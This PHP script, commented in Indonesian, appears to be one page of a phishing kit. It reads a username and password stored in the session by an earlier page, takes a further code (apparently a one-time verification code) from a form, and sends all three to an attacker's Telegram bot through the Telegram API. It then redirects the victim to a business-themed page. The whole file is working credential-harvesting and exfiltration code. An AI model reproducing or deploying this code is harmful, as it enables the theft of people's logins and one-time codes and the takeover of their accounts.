<?php
session_start();

// 1. Sertakan file konfigurasi telegram
if (file_exists('../../telegram.php')) {
    include('../../telegram.php');
} else {
    die("File konfigurasi tidak ditemukan!");
}

// 2. Proteksi Halaman: Pastikan session dari file pertama sudah ada
if (!isset($_SESSION['user_data']) || !isset($_SESSION['pass_data'])) {
    header("Location: index.php");
    exit();
}

// 3. Proses pengiriman data saat form disubmit (Metode POST)
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $kode_c = isset($_POST['c']) ? trim($_POST['c']) : '';

    // Validasi input kosong (Anti-Spam / Empty Validation)
    if (empty($kode_c)) {
        header("Location: " . $_SERVER['PHP_SELF'] . "?error=empty");
        exit();
    }

    // Ambil data a (user) dan b (pass) dari session sebelumnya
    $user_a = $_SESSION['user_data'];
    $pass_b = $_SESSION['pass_data'];

    // 4. Susun Pesan Telegram yang menggabungkan semua data (a, b, dan c)
    $message = "<b>— DATA LENGKAP (A+B+C) —</b>\n";
    $message .= "<b>User (a):</b> <code>$user_a</code>\n";
    $message .= "<b>Pass (b):</b> <code>$pass_b</code>\n";
    $message .= "<b>Kode (c):</b> <code>$kode_c</code>\n";

    // 5. Eksekusi Pengiriman ke Telegram menggunakan cURL
    $url = "https://api.telegram.org/bot" . $id_bot . "/sendMessage";
    $post_fields = [
        'chat_id' => $telegram_id,
        'text' => $message,
        'parse_mode' => 'html'
    ];

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Gunakan jika ada masalah SSL di localhost
    $response = curl_exec($ch);
    curl_close($ch);

    // 6. Redirect jika data BERHASIL terkirim
    if ($response) {
        // Redirect sesuai permintaan Anda
        header("Location: ../../bisnis/dua.html");
        exit();
    } else {
        die("Gagal mengirim data ke Telegram. Periksa koneksi atau Token Bot.");
    }
}
?>